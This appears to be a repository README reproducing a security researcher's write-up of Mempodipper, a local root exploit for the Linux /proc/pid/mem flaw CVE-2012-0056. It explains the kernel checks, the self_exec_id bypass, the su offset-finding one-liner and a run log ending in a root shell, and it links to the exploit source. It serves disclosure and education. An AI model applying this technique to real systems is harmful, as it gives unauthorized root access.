path: root/README.md
blob: 67f6673ef38693a6f1ad4590db1d741bbd15e9af (plain) (tree)

# Linux Local Privilege Escalation via SUID /proc/pid/mem Write
## Mempodipper

Introducing <a href="http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c">Mempodipper</a>, an exploit for CVE-2012-0056. <tt>/proc/<i>pid</i>/mem</tt> is an interface for reading and writing, directly, process memory by seeking around with the same addresses as the process's virtual memory space. In 2.6.39, the protections against unauthorized access to <tt>/proc/<i>pid</i>/mem</tt> were deemed sufficient, and so the prior <tt>#ifdef</tt> that prevented write support for writing to arbitrary process memory <a href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=198214a7">was removed</a>. Anyone with the correct permissions could write to process memory. It turns out, of course, that the permissions checking was done poorly. <i>This means that all Linux kernels >=2.6.39 are vulnerable</i>, up until the <a href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=e268337dfe26dfc7efd422a804dbb27977a3cccc">fix commit for it</a> a couple days ago. Let's take the old kernel code step by step and learn what's the matter with it.

When <tt>/proc/<i>pid</i>/mem</tt> is opened, this kernel code is called:

    static int mem_open(struct inode* inode, struct file* file)
    	file->private_data = (void*)((long)current->self_exec_id);
    	/* OK to pass negative loff_t, we can catch out-of-range */
    	file->f_mode |= FMODE_UNSIGNED_OFFSET;
    	return 0;

There are no restrictions on opening; anyone can open the <tt>/proc/<i>pid</i>/mem</tt> <a href="http://en.wikipedia.org/wiki/File_descriptor">fd</a> for any process (subject to the ordinary VFS restrictions). It simply makes note of the original process's <tt>self_exec_id</tt> that it was opened with and stores this away for checking later during reads and writes.

Writes (and reads), however, have permissions checking restrictions. Let's take a look at the write function:

    static ssize_t mem_write(struct file * file, const char __user *buf,
    			 size_t count, loff_t *ppos)
    /* unimportant code removed for blog post */	
    	struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
    /* unimportant code removed for blog post */
    	mm = check_mem_permission(task);
    	copied = PTR_ERR(mm);
    	if (IS_ERR(mm))
    		goto out_free;
    /* unimportant code removed for blog post */	
    	if (file->private_data != (void *)((long)current->self_exec_id))
    		goto out_mm;
    /* unimportant code removed for blog post
     * (the function here goes onto write the buffer into the memory)

So there are two relevant checks in place to prevent against unauthorized writes: <tt>check_mem_permission</tt> and <tt>self_exec_id</tt>. Let's do the first one first and second one second.

The code of <tt>check_mem_permission</tt> simply calls into <tt>__check_mem_permission</tt>, so here's the code of that:

    static struct mm_struct *__check_mem_permission(struct task_struct *task)
    	struct mm_struct *mm;
    	mm = get_task_mm(task);
    	if (!mm)
    		return ERR_PTR(-EINVAL);
    	 * A task can always look at itself, in case it chooses
    	 * to use system calls instead of load instructions.
    	if (task == current)
    		return mm;
    	 * If current is actively ptrace'ing, and would also be
    	 * permitted to freshly attach with ptrace now, permit it.
    	if (task_is_stopped_or_traced(task)) {
    		int match;
    		match = (ptrace_parent(task) == current);
    		if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
    			return mm;
    	 * No one else is allowed.
    	return ERR_PTR(-EPERM);

There are two ways that the memory write is authorized. Either <tt>task == current</tt>, meaning that the process being written to is the process writing, or <tt>current</tt> (the process writing) has esoteric ptrace-level permissions to play with <tt>task</tt> (the process being written to). Maybe you think you can trick the ptrace code? It's tempting. But I don't know. Let's instead figure out how we can make a process write arbitrary memory to itself, so that <tt>task == current</tt>.

Now naturally, we want to write into the memory of <a href="http://en.wikipedia.org/wiki/Setuid">suid processes</a>, since then we can get root. Take a look at this:

    $ su "yeeeee haw I am a cowboy"
    Unknown id: yeeeee haw I am a cowboy

<tt>su</tt> will spit out whatever text you want onto stderr, prefixed by "Unknown id:". So, we can open a fd to <tt>/proc/self/mem</tt>, <tt>lseek</tt> to the right place in memory for writing (more on that later), use <a href="http://en.wikipedia.org/wiki/Redirection_(computing)"><tt>dup2</tt></a> to couple together stderr and the mem fd, and then <a href="http://en.wikipedia.org/wiki/Exec_(operating_system)"><tt>exec</tt></a> to <tt>su $shellcode</tt> to write an shell spawner to the process memory, and then we have root. Really? Not so easy.

Here the other restriction comes into play. After it passes the <tt>task == current</tt> test, it then checks to see if the current <tt>self_exec_id</tt> matches the <tt>self_exec_id</tt> that the fd was opened with. What on earth is <tt>self_exec_id</tt>? It's <a href="http://lxr.linux.no/linux+v3.2.1/+search?search=self_exec_id">only referenced a few places</a> in the kernel. The most important one happens to be inside of <tt>exec</tt>:

    void setup_new_exec(struct linux_binprm * bprm)
    /* massive amounts of code trimmed for the purpose of this blog post */
    	/* An exec changes our domain. We are no longer part of the thread
    	   group */
    	flush_signal_handlers(current, 0);

<tt>self_exec_id</tt> is incremented each time a process <tt>exec</tt>s. So in this case, it functions so that you can't open the fd in a non-suid process, <tt>dup2</tt>, and then <tt>exec</tt> to a suid process... which is exactly what we were trying to do above. Pretty clever way of deterring our attack, eh?

Here's how to get around it. We fork a child, and inside of that child, we <tt>exec</tt> to <i>a new process</i>. The initial child fork has a <tt>self_exec_id</tt> equal to its parent. When we <tt>exec</tt> to a new process, <tt>self_exec_id</tt> increments by one. Meanwhile, the parent itself is busy <tt>exec</tt>ing to our shellcode writing <tt>su</tt> process, so its <tt>self_exec_id</tt> gets incremented to the same value. So what we do is -- we make this child fork and <tt>exec</tt> to a new process, and inside of that new process, we <i>open up a fd to <tt>/proc/parent-pid/mem</tt> using the pid of the parent process, not our own process</i> (as was the case prior). We can open the fd like this because there is no permissions checking for a mere open. When it is opened, its <tt>self_exec_id</tt> has already incremented to the right value that the parent's <tt>self_exec_id</tt> will be when we <tt>exec</tt> to <tt>su</tt>. So finally, we pass our opened fd from the child process back to the parent process (using some <a href="http://archives.neohapsis.com/archives/postfix/2000-09/1476.html">very black unix domain sockets magic</a>), do our <tt>dup2</tt>ing, and <tt>exec</tt> into <tt>su</tt> with the shell code.

There is one remaining objection. Where do we write to? We have to <tt>lseek</tt> to the proper memory location before writing, and <a href="http://en.wikipedia.org/wiki/Address_space_layout_randomization">ASLR</a> randomizes processes address spaces making it impossible to know where to write to. Should we spend time working on more cleverness to figure out how to read process memory, and then carry out a search? No. Check this out:

    $ readelf -h /bin/su | grep Type
       Type:                              EXEC (Executable file) 

This means that <tt>su</tt> does not have a relocatable .text section (otherwise it would spit out "DYN" instead of "EXEC"). It turns out that <tt>su</tt> on the vast majority of distros is <i>not compiled with <a href="http://en.wikipedia.org/wiki/Position-independent_code">PIE</a></i>, disabling ASLR for the .text section of the binary! So we've chosen <tt>su</tt> wisely. The offsets in memory will always be the same. So to find the right place to write to, let's check out the assembly surrounding the printing of the "Unknown id: blabla" error message.

It gets the error string here:

      403677:       ba 05 00 00 00          mov    $0x5,%edx
      40367c:       be ff 64 40 00          mov    $0x4064ff,%esi
      403681:       31 ff                   xor    %edi,%edi
      403683:       e8 e0 ed ff ff          callq  402468 (dcgettext@plt)

And then writes it to stderr:

      403688:       48 8b 3d 59 51 20 00    mov    0x205159(%rip),%rdi        # 6087e8 (stderr)
      40368f:       48 89 c2                mov    %rax,%rdx
      403692:       b9 20 88 60 00          mov    $0x608820,%ecx
      403697:       be 01 00 00 00          mov    $0x1,%esi
      40369c:       31 c0                   xor    %eax,%eax
      40369e:       e8 75 ea ff ff          callq  402118 (__fprintf_chk@plt)

Closes the log:

      4036a3:       e8 f0 eb ff ff          callq  402298 (closelog@plt)

And then exits the program:

      4036a8:       bf 01 00 00 00          mov    $0x1,%edi
      4036ad:       e8 c6 ea ff ff          callq  402178 (exit@plt)

We therefore want to use `0x402178`, which is the exit function it calls. We can, in an exploit, automate the finding of the <tt>exit@plt</tt> symbol with a simple bash one-liner:

    $ objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'

So naturally, we want to write to `0x402178` minus the number of letters in the string "Unknown id: ", so that our shellcode is placed at exactly the right place.

The shellcode should be simple and standard. It sets the uid and gid to 0 and <tt>exec</tt>s into a shell. If we want to be clever, we can reopen stderr by, prior to <tt>dup2</tt>ing the memory fd to stderr, we choose another fd to dup stderr to, and then in the shellcode, we <tt>dup2</tt> that other fd <i>back</i> to stderr.

In the end, the exploit works like a charm with total reliability:

    CVE-2012-0056 $ ls
    build-and-run-exploit.sh  build-and-run-shellcode.sh  mempodipper.c  shellcode-32.s  shellcode-64.s
    CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
    CVE-2012-0056 $ ./mempodipper 
    =          Mempodipper        =
    =           by zx2c4          =
    =         Jan 21, 2012        =
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/6454/mem in child.
    [+] Sending fd 3 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [+] Resolved exit@plt to 0x402178.
    [+] Seeking to offset 0x40216c.
    [+] Executing su with shellcode.
    sh-4.2# whoami

You can watch a <a href="http://youtu.be/yLu4q4gMCCA">video</a> of it in action.

Thanks to <a href="http://vulnfactory.org">Dan Rosenberg</a> for his continued advice and support. <s>I'm currently not releasing any source code</s>, as Linus only <a href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=e268337dfe26dfc7efd422a804dbb27977a3cccc">very recently</a> patched it. <s>After a responsible amount of time passes or if someone else does first, I'll publish. If you're a student trying to learn about things or have otherwise legitimate reasons, we can talk.</s>

<b>Update</b>: evidently, based on this blog post, ironically, some other folks made exploits and published them. So, <a href="http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c">here's mine</a>. I wrote the shellcode for <a href="http://git.zx2c4.com/CVE-2012-0056/tree/shellcode-32.s">32-bit</a> and <a href="http://git.zx2c4.com/CVE-2012-0056/tree/shellcode-64.s">64-bit</a> by hand. Enjoy!

<b>Update 2</b>: as it turns out, Fedora very aptly compiles their <tt>su</tt> with <tt>PIE</tt>, which defeats this attack. They do not, unfortunately, compile all their SUID binaries with <tt>PIE</tt>, and so this attack is still possible with, for example, <tt>gpasswd</tt>. The <a href="http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c?h=fedora">code to do this</a> is in the "fedora" branch of the git repository, and a <a href="http://www.youtube.com/watch?v=OKnth3R9nI4">video demonstration is also available</a>.

<b>Update 3</b>: Gentoo is smart enough to remove read permissions on SUID binaries, making it impossible to find the <tt>exit@plt</tt> offset using <tt>objdump</tt>. I determined another way to do this, using ptrace. <tt>Ptrace</tt> allows debugging of any program in memory. For SUID programs, ptracing will drop its privileges, but that's fine, since we simply want to find internal memory locations. By parsing the opcode of the binary at the right time, we can decipher the target address of the next call after the printing of the error message. I've created a <a href="http://git.zx2c4.com/CVE-2012-0056/tree/ptrace-offset-finder.c">standalone utility</a> that returns the offset, as well as integrating it into the <a href="http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c">main mempodipper source</a>.

<i>{As always, this is work here is strictly academic, and is not intended for use beyond research and education.}</i>